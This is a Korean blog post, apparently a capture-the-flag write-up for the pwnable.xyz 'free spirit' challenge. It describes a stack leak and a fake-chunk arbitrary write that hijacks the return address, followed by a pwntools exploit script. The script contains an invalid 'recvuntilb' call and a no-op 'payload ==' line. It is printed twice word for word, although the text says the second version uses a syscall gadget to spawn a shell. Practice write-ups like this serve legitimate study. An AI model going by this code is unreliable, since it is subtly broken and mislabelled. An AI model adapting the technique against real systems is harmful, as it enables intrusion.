pwn/pwnable.xyz
pwnable.xyz / free spirit
lok2h4rd
2022. 5. 10. 03:19
제목만 보고서는 house of spirit인줄 알았다...ㅎㅎ
- 스택 영역에 저장된 힙에 0x20만큼 데이터를 받음
- 힙 주소가 저장된 스택 주소를 출력한다
- 힙 주소를 저장하고 있는 스택 - 8 주소에 힙영역에 쓴 데이터를 저장
스택 주소를 릭 가능하고 3번을 통해 힙 주소가 저장된 스택 영역을 덮으면 aaw가 발생한다
릭한 주소로 ret주소 계산해서 win함수 출력한다
exploit 코드는 아래 더보기
더보기
from pwn import *
p = process("./free_spirit")
#gdb.attach(p)
win = 0x400a3e
def write(data):
p.recvuntilb("> ")
p.sendline(b"1")
sleep(0.1)
p.send(data)
def aaw():
p.recvuntil(b"> ")
p.sendline(b"3")
# ------ leak stack -----
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)
addr = leak + 0x58
log.info("leak: " + hex(leak))
log.info("ret : " + hex(addr))
log.info("fake_chunk: " + hex(leak + 0x70))
# -------- setting aaw------
payload = p64(0)
payload += p64(addr - 0x10)
payload += p64(0)
payload == p64(0)
write(payload)
aaw()
#-------- set fake_chunk-------
payload = p64(0)
payload += p64(leak+0x108)
payload += p64(0x4008e1)
payload += p64(win)
write(payload)
aaw()
payload = p64(0x31)
payload += p64(leak + 0x110)
payload += p64(0)
payload += p64(0)
write(payload)
aaw()
p.recvuntil(b"> ")
p.sendline(b"A")
p.interactive()
사실 이 문제는 쉘 따려해서 더 오래걸린 문제다
그냥 주어진 system함수로 rop를 하게되면 이유는 모르겠지만 쉘이 계속 터진다 ( 할 수 있는걸 다 했는대도 터진다.... )
다행이 syscall 가젯이 있어서 puts함수 호출해서 rax를 0x3b로 맞춰주고 execve가 호출되도록 했다
exploit 코드는 아래 더보기
더보기
from pwn import *
p = process("./free_spirit")
#gdb.attach(p)
win = 0x400a3e
def write(data):
p.recvuntilb("> ")
p.sendline(b"1")
sleep(0.1)
p.send(data)
def aaw():
p.recvuntil(b"> ")
p.sendline(b"3")
# ------ leak stack -----
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)
addr = leak + 0x58
log.info("leak: " + hex(leak))
log.info("ret : " + hex(addr))
log.info("fake_chunk: " + hex(leak + 0x70))
# -------- setting aaw------
payload = p64(0)
payload += p64(addr - 0x10)
payload += p64(0)
payload == p64(0)
write(payload)
aaw()
#-------- set fake_chunk-------
payload = p64(0)
payload += p64(leak+0x108)
payload += p64(0x4008e1)
payload += p64(win)
write(payload)
aaw()
payload = p64(0x31)
payload += p64(leak + 0x110)
payload += p64(0)
payload += p64(0)
write(payload)
aaw()
p.recvuntil(b"> ")
p.sendline(b"A")
p.interactive()
ps. 쉘이 왜 터지는지도 확인해봐야겠다